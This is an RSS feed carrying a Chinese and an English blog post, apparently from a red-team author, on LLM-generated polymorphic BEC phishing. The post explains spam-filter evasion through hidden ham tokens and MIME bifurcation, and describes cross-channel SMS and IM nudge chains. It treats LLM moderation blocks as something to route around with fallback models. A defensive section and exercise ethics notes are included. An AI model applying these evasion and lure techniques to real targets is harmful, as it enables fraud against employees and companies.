<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet href="/scripts/pretty-feed-v3.xsl" type="text/xsl"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:h="http://www.w3.org/TR/html4/"><channel><title>毅种循环</title><description>不值一提的記錄和多餘的廢話 / 隨意更新 / 隨時可能會 404 / 歡迎友好交流</description><link>https://s4u2self.cc</link><item><title>邮件钓鱼攻防工程·6：BEC 3.0 与跨渠道编排</title><link>https://s4u2self.cc/blog/email-phishing-engineering-part-6-bec-polymorphism</link><guid isPermaLink="true">https://s4u2self.cc/blog/email-phishing-engineering-part-6-bec-polymorphism</guid><description>BEC 代际演进、LLM 多态生成与 SMS/IM 互证编排：内容签名失效后的认知对抗。</description><pubDate>Thu, 23 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;本文是「邮件钓鱼攻防工程」系列第6篇。前几篇分别落在协议、内容、凭证和身份链路上；这一篇换到&lt;strong&gt;内容从哪里来、怎么规模化、怎么和 SMS/IM 串成互证&lt;/strong&gt;。当文案不再是人力瓶颈，签名和模版指纹同时失效，单渠道邮件网关如何信任。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;语义稀释、AI 辅助生成、多阶段/自动化通道在产品里有设计与局部实现；全链路LLM+自动化编排还不是终态。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;0x01 BEC3.0&lt;/h2&gt;
&lt;p&gt;变的是生成方式。粗分三代，便于对齐讨论，不必当成严格年表：&lt;/p&gt;
&lt;p&gt;| 阶段 | 大致特征 | 蓝队习惯依赖 | 为什么失效 |
| :-- | :-- | :-- | :-- |
| BEC 1.0 | 手工写信，语法错误多 | 错别字、生硬套话 | 已不能代表主流对手 |
| BEC 2.0 | 模版 + 变量替换 | 模版 HASH、结构指纹 | 结构可预测，一泄露全家中 |
| BEC 3.0 | LLM 全量或深度重写 | 内容签名、固定措辞 | 每封结果不固定 |&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;BEC 3.0&lt;/strong&gt; 在本文里取两层含义，而不是「用了 ChatGPT」这么浅：&lt;/p&gt;
&lt;p&gt;Hoxhunt 等称 AI 生成钓鱼占比在 2025 年末陡升；Microsoft 等称 AI 辅助钓鱼的点击率可数倍于传统手工诱饵。有一个关键点是：「AI 生成」有时只是「疑似 AI 润色」，并不代表一件事情。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;0x02 多态化生成：从占位符到编排&lt;/h2&gt;
&lt;h3&gt;2.1 模版引擎的天花板&lt;/h3&gt;
&lt;p&gt;演练平台和攻击套件里最常见的仍是字符串替换：&lt;code&gt;{{.FirstName}}&lt;/code&gt;、&lt;code&gt;{{.CompanyName}}&lt;/code&gt;。变量维度有限，结构固定，变种再多也在同一棵语法树里打转。对蓝队而言，这反而是好事，结构指纹、段落骨架、固定 CTA 句式都可以入库。&lt;/p&gt;
&lt;p&gt;一旦进入「每封独立重写」，签名路径就断了。StrongestLayer 等对 QR 钓鱼批次的 Jaccard 相似度给出过很低的区间（公开材料里常见约 0.2 量级），意思是：&lt;strong&gt;模式匹配经常不回成立&lt;/strong&gt;基于APT类似的高度定向活动还会更低。&lt;/p&gt;
&lt;h3&gt;2.2 三层结构（对手模型 / 产品目标）&lt;/h3&gt;
&lt;p&gt;工程上可拆成三层，和是否用单一 LLM 供应商无关。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;（1）上下文感知&lt;/strong&gt;
发信前先拼上下文，明白自己在说什么事情而不是只丢一句「写一封钓鱼邮件」。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;岗位&lt;/strong&gt;：财务、研发、HR、高管的词表与语气不同；&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;时效&lt;/strong&gt;：季末审计、月初 KPI、年终绩效、节假日福利，窗口决定话题。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;组织&lt;/strong&gt;：LinkedIn 公开信息、招聘 JD、新闻稿、年报里的项目与并购。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;真实案例就是有一次搞钓鱼的时候，因为事先早早的拿下了一个内部chat账号，经常关注群里的消息，后来正值他们公司搬家，钓鱼就用了相关活动的文案，后来复盘的时候过程甚是有趣，这里不过多展开。&lt;/p&gt;
&lt;p&gt;我对taigong的内置AI用的系统提示要求模型「写符合这个场景的内部通知」，而不是「写得像真的」&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;（2）多态约束&lt;/strong&gt;
只靠换几个同义词不够。实用约束可以写成：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;语义守恒：业务意图（点链 / 提交 / 转账确认）必须保留
个体差异：同批次收件人之间正文相似度压到策略阈值以下
结构变异：段数、句式、称呼、落款随机化
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;截止至今天，引入了一个非常规的功能，场景是这么个样子：假设你有80个演练目标，按之前的流程是每个人收到的邮件标点符号都是一致的。在1.3.0之后我加入了一项名为语义重写的功能：发送邮件之时，引擎层对邮件进行多态约束编排，结果会让这80个人收到的邮件主体类似，但是信件内容完全不一致。但是带来的后果就是投递状态延迟较高，因为每一个LLM在后台编排的时候会带来0-15s的延迟。我的新方案是：&lt;strong&gt;批次母版 + 个体微调&lt;/strong&gt;：每 N 人一个母版，再替换姓名、部门、项目代号。母版仍可用 LLM 做；微调可以走模版引擎以省延迟和费用。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;（3）失败与降级&lt;/strong&gt;
API 超时、限流、内容审核拦截都是常态。生产编排需要退避、备用模型、以及缓存相同系统提示。&lt;/p&gt;
&lt;h3&gt;2.3 真实生态里的工业化例子&lt;/h3&gt;
&lt;p&gt;Fortra FIRE 披露的 Scripted Sparrow（2026 年初前后公开材料）提供了一组数据：&lt;/p&gt;
&lt;p&gt;| 模块 | 作用 | 工程含义 |
| :-- | :-- | :-- |
| Recon Crawler | 爬公开社媒与职务变动 | 上下文感知的数据源 |
|  | PhishGen | 文案生成 |
| 混合模版与自然语言规则，降低单一 LLM 依赖 |  | Proxy Rotator |
| 出口与中继轮换 | 信誉与封禁对抗 |  |
| ReplyBot | 回复后自动续聊 | 从一锤子邮件变成会话漏斗 |&lt;/p&gt;
&lt;p&gt;更有启发的是两条战术：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;省略附件筛人&lt;/strong&gt;：不先甩发票，等对方主动要附件，再进入高转化对话。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;伪造回复链&lt;/strong&gt;：看起来像和咨询公司「聊过几轮」，降低首次冷邮件的戒心。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;0x03 语义稀释&lt;/h2&gt;
&lt;p&gt;多态解决「每封不一样」。语义稀释解决另一件事：在&lt;strong&gt;词袋 / 贝叶斯 / 部分 NLP 网关&lt;/strong&gt;眼里，邮件要不要被当垃圾。&lt;/p&gt;
&lt;h3&gt;3.1 长什么样&lt;/h3&gt;
&lt;p&gt;SpamAssassin、Rspamd 一类引擎对内容层常用对数似然比：&lt;/p&gt;
&lt;p&gt;超过阈值就倾向 spam。分类器吃的是 token 分布，不是「人读到的意思」。因此注入足够多的 ham 倾向 token，可以把  往下拽——这是数学上的对抗，不是玄学。&lt;/p&gt;
&lt;p&gt;现代网关还有意图分类、实体抽取、模版指纹等 NLP 层。稀释设计通常是&lt;strong&gt;多维一起动&lt;/strong&gt;，而不是只塞关键词。&lt;/p&gt;
&lt;h3&gt;3.2 三维注入（设计视角）&lt;/h3&gt;
&lt;p&gt;TaiGong 语义稀释方案把攻击面拆成：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Token 稀释&lt;/strong&gt;
按恶意 token 数量的一定倍率注入商务/会议/预算类 ham 词，并用 HTML 隐藏、CSS 位移、&lt;code&gt;font-size:0&lt;/code&gt; 等手段对人不可见、对部分解析器仍可见。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;结构 / 意图中毒&lt;/strong&gt;
在 urgency + action 窗口前后塞中性句，打断「点这里验证」的意图模式；也可掺合法邮箱、合法域名实体当噪声。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;MIME 层分叉&lt;/strong&gt;
&lt;code&gt;multipart/alternative&lt;/code&gt; 里 text/plain 写良性纪要，text/html 写诱饵。&lt;/p&gt;
&lt;p&gt;配置面设想包括稀释级别、MIME 稀释开关、预览 diff 等，挂在武器化/规避配置侧。&lt;strong&gt;是否每个客户构建都打开、是否默认启用，以授权与配置为准。&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;0x04 跨渠道：互证是认知问题，也是编排问题&lt;/h2&gt;
&lt;p&gt;单渠道邮件被培训和网关磨过一轮之后，对手会叠 SMS、企业 IM。原理不复杂：&lt;strong&gt;人更容易相信「两个渠道都这么说」&lt;/strong&gt;，却很少验证两个渠道是否同一操控方。&lt;/p&gt;
&lt;h3&gt;4.1 典型三阶段链&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;Stage1 邮件（升级/审计/工资） ──12h 未点──► Stage2 短信催办
                                              │
                                              ▼ 仍未转化
                                         Stage3 企业 IM 机器人「待办提醒」
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;点链即停后续，避免重复轰炸。时间窗太短像脚本，太长人已冷静——工程上常用延迟队列&lt;/p&gt;
&lt;h3&gt;4.2 工程组件（与 TaiGong 对齐）&lt;/h3&gt;
&lt;p&gt;| 问题 | 做法 | 产品侧线索 |
| :-- | :-- | :-- |
| 状态一致 | 点击/打开事件驱动阶段，防重复发 | 多阶段、campaign 事件、结果状态机 |
|  | 时序 | 延迟触发、仅对未转化用户 |
| stage trigger、自动化规则 |  | 通道差异 |
| 统一「发送 + 回执」适配器 | SMTP / 短信 DLR / IM Webhook |  |
| 回执可信 | 签名校验、失败回写 delivery | SMS callback 验签、delivery_status |&lt;/p&gt;
&lt;p&gt;跨渠道检测超出单一 SEG：SIEM 要能在短时间窗内关联「同主题邮件 + 短信+以及脱离平台的人为不可控因素。&lt;/p&gt;
&lt;h3&gt;4.3 演练伦理&lt;/h3&gt;
&lt;p&gt;多渠道会显著提高压力与转化，也更容易造成恐慌。内外部演练应写明渠道范围、时段、退出机制；对外演示避免用真实转账话术压测财务岗。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;0x05 2025–2026 生态切片&lt;/h2&gt;
&lt;p&gt;下列条目只作威胁画像&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Scripted Sparrow（Fortra 等）&lt;/strong&gt;
定向 BEC、AI生成，混合生成与自动化回复；故意省略附件筛选配合者。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Phantom Squatting（Unit 42 等）&lt;/strong&gt;
模型幻觉出不存在域名 → 攻击者抢注 → 用户或 Agent 访问中招。对 BEC 的启示是：LLM 可能成为&lt;strong&gt;分发面&lt;/strong&gt;，员工信的是助手推荐而不是陌生发件人。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;深度伪造&lt;/strong&gt;
语音/视频冒充高管已有公开损失案例；「深度伪造即服务」压低门槛。邮件培训挡不住视频会，财务流程必须带外核实。&lt;/p&gt;
&lt;p&gt;公开调研里过去一年遭遇过 AI 驱动攻击的比例往往很高。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;0x06 蓝队：假设重写，而不是规则加长&lt;/h2&gt;
&lt;p&gt;BEC 3.0 打穿的是单一信任链的不足之处。&lt;/p&gt;
&lt;h3&gt;6.1 制度：带外核实写进流程&lt;/h3&gt;
&lt;p&gt;涉及转账、改权限、导敏感数据：必须第二个独立通道确认（通讯录里的电话、企业 IM 真人会话），禁止回复原邮件确认。&lt;/p&gt;
&lt;h3&gt;6.2 行为：关系图与链路漂移&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;从未通信的 A→B 突然谈钱；&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;发信时间、抬头格式、Message-ID / X-Mailer / MIME 习惯突变；&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;SPF/DKIM/DMARC 全绿但路径与历史不一致。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;6.3 培训：流程&lt;/h3&gt;
&lt;p&gt;不要点陌生链接挡不住IM 里同事提醒。培训应落到可演练动作：转账必须二次确认、异常机器人如何报、点击后如何一键上报，演练本身要用多态与多渠道测真实缺口。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;0x07 收束&lt;/h2&gt;
&lt;p&gt;上次说到这是工程化的最后一篇，对 TaiGong 这类演练平台，价值在于把上述威胁&lt;strong&gt;可供选项的配置出来&lt;/strong&gt;——模版与 AI 辅助、语义稀释设计、多阶段与 SMS/IM——并在报告里诚实标注用了哪些规避。&lt;/p&gt;
&lt;p&gt;对我们只有实现平台感兴趣的，我们也承接商业化员工意识演练，欢迎后台留言咨询。&lt;/p&gt;
&lt;hr&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Hoxhunt, Phishing Trends Report 2026. https://hoxhunt.com/lp/phishing-trends-report-2026&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Microsoft Digital Defense Report 2025. https://www.microsoft.com/en-us/security/security-insider/intelligence-reports/microsoft-digital-defense-report-2025&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Fortra, Scripted Sparrow. https://www.fortra.com/resources/guides/scripted-sparrow-prolific-bec-threat-group&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Palo Alto Networks Unit 42, Phantom Squatting. https://unit42.paloaltonetworks.com/phantom-squatting-hallucinated-web-domains/&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;p&gt;&lt;strong&gt;系列导航&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;/blog/email-phishing-engineering-part-1-gophish-ceiling&quot;&gt;Part 1：GoPhish 的天花板&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/blog/email-phishing-engineering-part-2-opsec-infra&quot;&gt;Part 2：不可溯源的基础设施&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/blog/email-phishing-engineering-part-3-bayes-nlp&quot;&gt;Part 3：贝叶斯与 NLP 内容对抗&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/blog/email-phishing-engineering-part-4-rid-polymorphism&quot;&gt;Part 4：参数多态与响应伪装&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/blog/email-phishing-engineering-part-5-qr-delivery&quot;&gt;Part 5：无链接投递与 QR 码&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/blog/email-phishing-engineering-part-6-bec-polymorphism&quot;&gt;Part 6：BEC 3.0 与跨渠道编排&lt;/a&gt; ← 本文&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>Email Phishing Eng. · 6: BEC 3.0 Orchestration</title><link>https://s4u2self.cc/blog/email-phishing-engineering-part-6-bec-polymorphism-en</link><guid isPermaLink="true">https://s4u2self.cc/blog/email-phishing-engineering-part-6-bec-polymorphism-en</guid><description>BEC evolution, LLM polymorphic copy, and SMS/IM mutual-corroboration after signatures fail.</description><pubDate>Thu, 23 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;This is Part 6 of the “Email Phishing Engineering” series. Earlier parts landed on protocol, content, credentials, and identity chains; this one shifts to &lt;strong&gt;where copy comes from, how it scales, and how it is woven with SMS/IM into mutual corroboration&lt;/strong&gt;. When writing is no longer the human bottleneck, signatures and template fingerprints fail together—and a single-channel mail gateway no longer knows what to trust.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Semantic dilution, AI-assisted generation, and multi-stage/automated channels exist in the product as designs and partial implementations; full-chain LLM + automation orchestration is not yet a final state.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;0x01 BEC 3.0&lt;/h2&gt;
&lt;p&gt;What changes is how content is generated. A rough three-generation split helps align discussion; treat it as a framing device, not a strict chronology:&lt;/p&gt;
&lt;p&gt;| Stage | Rough traits | What blue teams habitually rely on | Why it fails |
| :-- | :-- | :-- | :-- |
| BEC 1.0 | Hand-written mail, many grammar errors | Typos, stiff stock phrases | No longer representative of mainstream adversaries |
| BEC 2.0 | Templates + variable substitution | Template HASH, structural fingerprints | Structure is predictable; one leak burns the family |
| BEC 3.0 | Full LLM rewrite or deep rewrite | Content signatures, fixed wording | Every message is non-deterministic |&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;BEC 3.0&lt;/strong&gt; here carries two layers of meaning—not the shallow reading of “they used ChatGPT”:&lt;/p&gt;
&lt;p&gt;Hoxhunt and others report a steep rise in AI-generated phishing share by late 2025; Microsoft and others report click rates for AI-assisted phishing several times those of traditional hand-crafted lures. A critical caveat: “AI-generated” is sometimes only “suspected AI polish,” and those are not the same thing.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;0x02 Polymorphic generation: from placeholders to orchestration&lt;/h2&gt;
&lt;h3&gt;2.1 The ceiling of template engines&lt;/h3&gt;
&lt;p&gt;What still dominates exercise platforms and attack kits is string substitution: &lt;code&gt;{{.FirstName}}&lt;/code&gt;, &lt;code&gt;{{.CompanyName}}&lt;/code&gt;. Variable dimensions are limited, structure is fixed, and no matter how many variants you mint, they spin inside the same syntax tree. For blue teams that is actually good news: structural fingerprints, paragraph skeletons, and fixed CTA phrasing can all be catalogued.&lt;/p&gt;
&lt;p&gt;Once you enter “independent rewrite per message,” the signature path breaks. StrongestLayer and others have reported very low Jaccard similarity on QR-phishing batches (public materials often cite ~0.2 order of magnitude)—meaning &lt;strong&gt;pattern matching often simply does not fire&lt;/strong&gt;. Highly targeted APT-style activity will be even lower.&lt;/p&gt;
&lt;h3&gt;2.2 Three-layer structure (adversary model / product goal)&lt;/h3&gt;
&lt;p&gt;Engineering can be split into three layers, independent of whether you use a single LLM vendor.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;(1) Context awareness&lt;/strong&gt;
Before send, assemble context so the system knows what business situation it is speaking into—not merely “write a phishing email.”&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Role&lt;/strong&gt;: finance, R&amp;#x26;D, HR, and executives have different vocabularies and tone;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Timing&lt;/strong&gt;: quarter-end audit, month-start KPIs, year-end performance, holiday benefits—the window decides the topic.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Organization&lt;/strong&gt;: LinkedIn public data, job postings, press releases, annual reports—projects and M&amp;#x26;A.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;A real case: during one phishing engagement we had long since owned an internal chat account and regularly watched group traffic. When the company was relocating, the lure used copy about that move. The post-mortem was entertaining; I will not expand here.&lt;/p&gt;
&lt;p&gt;For TaiGong’s built-in AI, the system prompt requires the model to “write an internal notice that fits this scenario,” not to “write something that looks real.”&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;(2) Polymorphism constraints&lt;/strong&gt;
Swapping a few synonyms is not enough. Practical constraints can be written as:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;Semantic conservation: business intent (click link / submit / wire confirmation) must be preserved
Individual difference: body similarity across recipients in the same batch pushed below a policy threshold
Structural mutation: paragraph count, sentence form, salutation, and sign-off randomized
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;As of today, an unconventional feature has been introduced for this scenario: suppose you have 80 exercise targets; under the old flow every recipient’s mail shared the same punctuation and skeleton. After 1.3.0 I added &lt;strong&gt;semantic rewrite&lt;/strong&gt;: at send time the engine layer applies polymorphism-constraint orchestration so those 80 people receive bodies that are thematically similar but fully inconsistent in wording. The cost is higher delivery-status latency, because each LLM orchestration pass in the background can add 0–15s of delay. My newer scheme is &lt;strong&gt;batch master + individual fine-tune&lt;/strong&gt;: one master per N recipients, then substitute name, department, project code. Masters can still be LLM-made; fine-tuning can stay on the template engine to save latency and cost.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;(3) Failure and degrade&lt;/strong&gt;
API timeouts, rate limits, and content-moderation blocks are normal. Production orchestration needs backoff, fallback models, and caching of identical system prompts.&lt;/p&gt;
&lt;h3&gt;2.3 Industrial examples in the real ecosystem&lt;/h3&gt;
&lt;p&gt;Fortra FIRE’s disclosure of Scripted Sparrow (public materials around early 2026) supplies a useful data set:&lt;/p&gt;
&lt;p&gt;| Module | Role | Engineering meaning |
| :-- | :-- | :-- |
| Recon Crawler | Crawl public social media and job changes | Data source for context awareness |
| PhishGen | Copy generation | Hybrid templates and natural-language rules; reduce single-LLM dependency |
| Proxy Rotator | Egress and relay rotation | Reputation and blocklist evasion |
| ReplyBot | Auto-continue conversation after replies | From one-shot email to conversation funnel |&lt;/p&gt;
&lt;p&gt;Two tactics are more instructive still:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Omit the attachment to filter cooperators&lt;/strong&gt;: do not dump an invoice first; wait for the other side to ask for an attachment, then enter a high-conversion dialogue.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Forge a reply chain&lt;/strong&gt;: make it look as if a few rounds have already been had with a consulting firm, lowering the guard on a cold first mail.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;0x03 Semantic dilution&lt;/h2&gt;
&lt;p&gt;Polymorphism solves “every message is different.” Semantic dilution solves something else: in the eyes of &lt;strong&gt;bag-of-words / Bayes / some NLP gateways&lt;/strong&gt;, whether the mail should be treated as spam at all.&lt;/p&gt;
&lt;h3&gt;3.1 What it looks like&lt;/h3&gt;
&lt;p&gt;SpamAssassin, Rspamd, and similar engines commonly use log-likelihood ratios at the content layer: exceed the threshold and the message tilts toward spam. The classifier consumes token distributions, not “what a human reads as meaning.” Inject enough ham-leaning tokens and you can drag that score down—this is mathematical adversarial craft, not mysticism.&lt;/p&gt;
&lt;p&gt;Modern gateways also have intent classification, entity extraction, template fingerprinting, and other NLP layers. Dilution design usually &lt;strong&gt;moves on several dimensions at once&lt;/strong&gt;, not merely stuffing keywords.&lt;/p&gt;
&lt;h3&gt;3.2 Three-dimensional injection (design view)&lt;/h3&gt;
&lt;p&gt;TaiGong’s semantic-dilution approach splits the attack surface into:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Token dilution&lt;/strong&gt;
Inject business/meeting/budget ham words at a multiple of the malicious-token count, and hide them from humans—but leave them visible to some parsers—via HTML hiding, CSS offsets, &lt;code&gt;font-size:0&lt;/code&gt;, and similar tricks.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Structure / intent poisoning&lt;/strong&gt;
Insert neutral sentences around the urgency + action window to break the “click here to verify” intent pattern; also mix in legitimate email addresses and legitimate domain entities as noise.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;MIME-layer bifurcation&lt;/strong&gt;
In &lt;code&gt;multipart/alternative&lt;/code&gt;, text/plain carries a benign meeting summary; text/html carries the lure.&lt;/p&gt;
&lt;p&gt;Config-surface ideas include dilution level, a MIME-dilution switch, preview diffs, and so on, hanging off weaponization/evasion configuration. &lt;strong&gt;Whether any given customer build turns these on, and whether they are default-on, is governed by authorization and configuration.&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;0x04 Cross-channel: mutual corroboration is a cognitive problem and an orchestration problem&lt;/h2&gt;
&lt;p&gt;After single-channel email has been ground down by training and gateways, adversaries stack SMS and enterprise IM. The principle is simple: &lt;strong&gt;people more readily believe “two channels said the same thing,”&lt;/strong&gt; yet rarely verify whether both channels share the same controller.&lt;/p&gt;
&lt;h3&gt;4.1 A typical three-stage chain&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;Stage1 email (upgrade/audit/payroll) ──12h no click──► Stage2 SMS nudge
                                                      │
                                                      ▼ still no conversion
                                                 Stage3 enterprise IM bot “todo reminder”
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Stop follow-ups on click to avoid repeated bombardment. Windows that are too short look scripted; windows that are too long let people cool off—engineering typically uses a delay queue.&lt;/p&gt;
&lt;h3&gt;4.2 Engineering components (aligned with TaiGong)&lt;/h3&gt;
&lt;p&gt;| Problem | Approach | Product-side clues |
| :-- | :-- | :-- |
| State consistency | Click/open events drive stages; prevent re-sends | Multi-stage, campaign events, result state machine |
| Timing | Delayed triggers; only for unconverted users | Stage triggers, automation rules |
| Channel differences | Unified “send + receipt” adapters | SMTP / SMS DLR / IM Webhook |
| Receipt trust | Signature verification; write failures back to delivery | SMS callback signature check, &lt;code&gt;delivery_status&lt;/code&gt; |&lt;/p&gt;
&lt;p&gt;Cross-channel detection is beyond a single SEG: SIEM must correlate, within a short time window, same-theme email + SMS—plus the human, out-of-platform factors that no platform fully controls.&lt;/p&gt;
&lt;h3&gt;4.3 Exercise ethics&lt;/h3&gt;
&lt;p&gt;Multi-channel significantly raises pressure and conversion, and more easily causes panic. Internal and external exercises should state channel scope, time windows, and exit mechanisms; external demos should avoid real wire-transfer scripts against finance roles.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;0x05 2025–2026 ecosystem slices&lt;/h2&gt;
&lt;p&gt;The following items are threat portraits only.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Scripted Sparrow (Fortra et al.)&lt;/strong&gt;
Targeted BEC, AI generation, hybrid generation and automated replies; deliberate omission of attachments to filter cooperators.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Phantom Squatting (Unit 42 et al.)&lt;/strong&gt;
Model hallucination invents non-existent domains → attackers register them → users or agents hit them. Implication for BEC: the LLM can become a &lt;strong&gt;distribution surface&lt;/strong&gt;; employees trust the assistant’s recommendation more than a stranger’s From: line.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Deepfakes&lt;/strong&gt;
Voice/video impersonation of executives already has public loss cases; “deepfake-as-a-service” lowers the barrier. Email training will not stop a video meeting; finance processes must include out-of-band verification.&lt;/p&gt;
&lt;p&gt;Public surveys often show a high share of organizations hit by AI-driven attacks in the past year.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;0x06 Blue team: rewrite assumptions, not just lengthen rules&lt;/h2&gt;
&lt;p&gt;What BEC 3.0 punches through is the thinness of any single trust chain.&lt;/p&gt;
&lt;h3&gt;6.1 Process: write out-of-band verification into the workflow&lt;/h3&gt;
&lt;p&gt;For wires, permission changes, or export of sensitive data: confirmation must use a second independent channel (a phone number from the directory, a live enterprise-IM conversation with a real person). Never confirm by replying to the original mail.&lt;/p&gt;
&lt;h3&gt;6.2 Behavior: relationship graphs and path drift&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;A→B who have never communicated suddenly talk money;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Send time, header format, Message-ID / X-Mailer / MIME habits mutate;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;SPF/DKIM/DMARC all green, but the path disagrees with history.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;6.3 Training: process&lt;/h3&gt;
&lt;p&gt;“Don’t click strange links” will not stop a colleague’s reminder in IM. Training should land on rehearsable actions: wires require second confirmation, how to report an anomalous bot, one-click report after a click. The exercise itself should use polymorphism and multi-channel to measure real gaps.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;0x07 Closing&lt;/h2&gt;
&lt;p&gt;Last time I said this was the last engineering piece. For exercise platforms like TaiGong, the value is making the threats above &lt;strong&gt;available as optional configuration&lt;/strong&gt;—templates and AI assist, semantic-dilution design, multi-stage and SMS/IM—and honestly labeling in reports which evasions were used.&lt;/p&gt;
&lt;p&gt;For those interested only in the platform implementation: we also take commercial employee-awareness exercises; feel free to leave a message for consults.&lt;/p&gt;
&lt;hr&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Hoxhunt, Phishing Trends Report 2026. https://hoxhunt.com/lp/phishing-trends-report-2026&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Microsoft Digital Defense Report 2025. https://www.microsoft.com/en-us/security/security-insider/intelligence-reports/microsoft-digital-defense-report-2025&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Fortra, Scripted Sparrow. https://www.fortra.com/resources/guides/scripted-sparrow-prolific-bec-threat-group&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Palo Alto Networks Unit 42, Phantom Squatting. https://unit42.paloaltonetworks.com/phantom-squatting-hallucinated-web-domains/&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;p&gt;&lt;strong&gt;Series navigation&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;./part-1-gophish-ceiling.md&quot;&gt;Part 1: GoPhish’s Ceiling&lt;/a&gt;&lt;/li&gt;
